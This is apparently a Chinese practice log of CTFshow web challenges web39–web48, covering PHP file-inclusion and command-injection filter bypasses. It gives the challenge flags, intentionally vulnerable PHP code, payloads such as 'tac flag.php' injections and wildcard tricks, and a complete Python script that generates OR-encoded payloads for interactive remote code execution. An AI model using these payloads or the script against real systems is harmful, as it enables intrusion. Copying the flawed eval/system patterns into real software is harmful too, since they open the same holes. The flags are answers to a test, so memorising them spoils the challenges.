题目来源:CTFshow
练习时间:2026年2月6日
练习数量:10
⭐️ 11 web39 🚩flag:ctfshow{9bcc229d-a475-4c4a-a635-def2043c1af1}
💡hint:文件包含
题目:
<?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag/i" , $c )){ include ($c .".php" ); } }else { highlight_file (__FILE__ ); }
对比第37题:
<?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag/i" , $c )){ include ($c ); echo $flag ; } }else { highlight_file (__FILE__ ); }
37用的exp:
39也可以直接用
⭐️ 12 web40 🚩flag:ctfshow{dc4914b8-ae2e-4fcb-bf8c-c783ad90a1a0}
💡hint:文件包含
题目:
<?php if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
禁用了很多符号。 但是括号是中文括号,调用各种函数即可。 exp:
c=eval (next (reset (get_defined_vars ())));&pay=system ("tac flag.php" ); ``` --- 🚩flag:`ctfshow{01e74 f87-a4d0-4850 -b28a-b4dc5cdf8a6a}` 💡hint:`文件包含` ```php <?php if (isset ($_POST ['c' ])){ $c = $_POST ['c' ]; if (!preg_match ('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i' , $c )){ eval ("echo($c );" ); } }else { highlight_file (__FILE__ ); } ?>
现在是连字母也不能用了 参考羽神题解:https://blog.csdn.net/miuzzx/article/details/108569080 这个题过滤了$、+、-、^、~使得异或自增和取反构造字符都无法使用,同时过滤了字母和数字。但是特意留了个或运算符|。 我们可以尝试从ascii为0-255的字符中,找到或运算能得到我们可用的字符的字符。 这里先给出两个脚本 exp.py rce_or.php,大家以后碰到可以使用或运算绕过的可以自己手动修改下即可。 生成可用字符的集合
<?php $myfile = fopen ("rce_or.txt" , "w" );$contents ="" ;for ($i =0 ; $i < 256 ; $i ++) { for ($j =0 ; $j <256 ; $j ++) { if ($i <16 ){ $hex_i ='0' .dechex ($i ); } else { $hex_i =dechex ($i ); } if ($j <16 ){ $hex_j ='0' .dechex ($j ); } else { $hex_j =dechex ($j ); } $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i' ; if (preg_match ($preg , hex2bin ($hex_i ))||preg_match ($preg , hex2bin ($hex_j ))){ echo "" ; } else { $a ='%' .$hex_i ; $b ='%' .$hex_j ; $c =(urldecode ($a )|urldecode ($b )); if (ord ($c )>=32 &ord ($c )<=126 ) { $contents =$contents .$c ." " .$a ." " .$b ."\n" ; } } } } fwrite ($myfile ,$contents );fclose ($myfile );
exp.py
import requestsimport urllibfrom sys import *import osos.system("php rce_or.php" ) if (len (argv)!=2 ): print ("=" *50 ) print ('USER:python exp.py <url>' ) print ("eg: python exp.py http://ctf.show/" ) print ("=" *50 ) exit(0 ) url=argv[1 ] def action (arg ): s1="" s2="" for i in arg: f=open ("rce_or.txt" ,"r" ) while True : t=f.readline() if t=="" : break if t[0 ]==i: s1+=t[2 :5 ] s2+=t[6 :9 ] break f.close() output="(\"" +s1+"\"|\"" +s2+"\")" return (output) while True : param=action(input ("\n[+] your function:" ) )+action(input ("[+] your command:" )) data={ 'c' :urllib.parse.unquote(param) } r=requests.post(url,data=data) print ("\n[*] result:\n" +r.text)
经过修改后的无需php环境的python脚本如下:
import reimport sysimport requestsimport urllib.parseBAD_RE = re.compile (r"[0-9a-z\^\+\~\$\[\]\{\}\&\-]" , re.I) def is_bad_byte (b: int ) -> bool : ch = bytes ([b]).decode("latin-1" , errors="ignore" ) return BAD_RE.search(ch) is not None def build_or_map (): """ 构建映射:可打印字符 chr(c) -> (a, b) 其中 a,b 为 '%xx' 形式,且 byte(x) 和 byte(y) 都不匹配 BAD_RE, 并且 (x | y) == ord(c) """ m = {} for i in range (256 ): if is_bad_byte(i): continue for j in range (256 ): if is_bad_byte(j): continue c = i | j if 32 <= c <= 126 : ch = chr (c) if ch not in m: a = f"%{i:02x} " b = f"%{j:02x} " m[ch] = (a, b) return m def action (or_map, arg: str ) -> str : s1 = "" s2 = "" for ch in arg: if ch not in or_map: raise ValueError(f"字符 {repr (ch)} 无法在 OR 映射中找到可用组合(可能需要调整过滤规则)" ) a, b = or_map[ch] s1 += a s2 += b return f"(\"{s1} \"|\"{s2} \")" def post_payload (url: str , payload_expr: str ): """ 你的原脚本是: data={'c': urllib.parse.unquote(param)} 但 requests 在 form 编码时会把 '%' 再编码成 '%25', 所以原脚本用 unquote 把 %xx 变成原始字节,再由 requests/form 编码发送。 这里我们更稳:手动构造 application/x-www-form-urlencoded body, 确保字节层面的行为一致。 """ raw_bytes = urllib.parse.unquote_to_bytes(payload_expr) encoded_c = urllib.parse.quote_from_bytes(raw_bytes, safe="" ) body = ("c=" + encoded_c).encode("ascii" ) headers = {"Content-Type" : "application/x-www-form-urlencoded" } r = requests.post(url, data=body, headers=headers, timeout=15 ) return r.text def main (): if len (sys.argv) != 2 : print ("=" * 50 ) print ("USAGE: python3 exp_or.py <url>" ) print ("eg: python3 exp_or.py http://ctf.show/" ) print ("=" * 50 ) sys.exit(0 ) url = sys.argv[1 ].strip() print ("[*] building OR map (this takes a moment)..." ) or_map = build_or_map() print (f"[*] OR map ready. mapped chars: {len (or_map)} " ) while True : try : func = input ("\n[+] your function:" ).rstrip("\n" ) cmd = input ("[+] your command:" ).rstrip("\n" ) param = action(or_map, func) + action(or_map, cmd) result = post_payload(url, param) print ("\n[*] result:\n" + result) except KeyboardInterrupt: print ("\n[!] exit" ) break except Exception as e: print (f"\n[!] error: {e} " ) if __name__ == "__main__" : main()
使用方式:
python3 exp_or.py http://xxxx.challenge.ctf.show/
注意使用方式是http而不是https
⭐️ 14 web42 🚩flag:ctfshow{9609c76b-8dcc-44bc-880c-27f4c248582d}
💡hint:无回显RCE 伪装成文件包含 hint 的命令执行命令注入
<?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; system ($c ." >/dev/null 2>&1" ); }else { highlight_file (__FILE__ ); }
等价于在服务器上运行:<c参数内容> >/dev/null 2>&1
即>/dev/null:标准输出丢弃 2>&1:标准错误也重定向到标准输出(一起丢弃) 👉 结果:你执行的命令不会在页面上显示任何输出。
exp:
回到题目核心代码:
system ($c ." >/dev/null 2>&1" );
当你访问: ?c=tac flag.php; 服务器真正执行的命令是: tac flag.php; >/dev/null 2>&1 注意这个结构,是理解的关键。
⭐️ 15 web43 🚩flag:ctfshow{a231be6c-18b8-4910-99a8-fff8e76b59b6}
💡hint:无回显RCE 伪装成文件包含 hint 的命令执行命令注入
<?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat/i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
相比于上面的题目,是先添加了一次过滤,然后再执行操作。
过滤了cat、;,那就利用tac命令来打印,“||”分割
||的作用是只执行||前面的命令 所以构造payload
⭐️ 16 web44 🚩flag:ctfshow{ed165c7b-6682-4f1f-9bf9-6444af7a0601}
💡hint:无回显RCE 伪装成文件包含 hint 的命令执行命令注入
<?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/;|cat|flag/i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
过滤了cat flag ; 可以尝试使用fla*
⭐️ 17 web45 🚩flag:ctfshow{1d19bbd5-5511-40d1-855e-69b95a595428}
💡hint:无回显RCE 伪装成文件包含 hint 的命令执行命令注入
<?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| /i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
外加过滤了空格,可以用%09代替%20
⭐️ 18 web46 🚩flag:ctfshow{049b9aba-11aa-40a1-9ca3-ca3a8316fb42}
💡hint:无回显RCE 伪装成文件包含 hint 的命令执行命令注入
<?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| |[0-9]|\\$|\*/i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
还过滤了*号,那么还可以用?号
修改为
⭐️ 19 web47 🚩flag:ctfshow{06617602-e388-44e0-84e6-90f5c7c325f0}
💡hint:无回显RCE 伪装成文件包含 hint 的命令执行命令注入
<?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
多禁止了一些无关紧要的东西 还是上面的就可以用:
⭐️ 20 web48 🚩flag:ctfshow{2167ef99-a574-4124-ad42-c8125325bfaf}
💡hint:无回显RCE 伪装成文件包含 hint 的命令执行命令注入
<?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
同上题
今日份结束🔚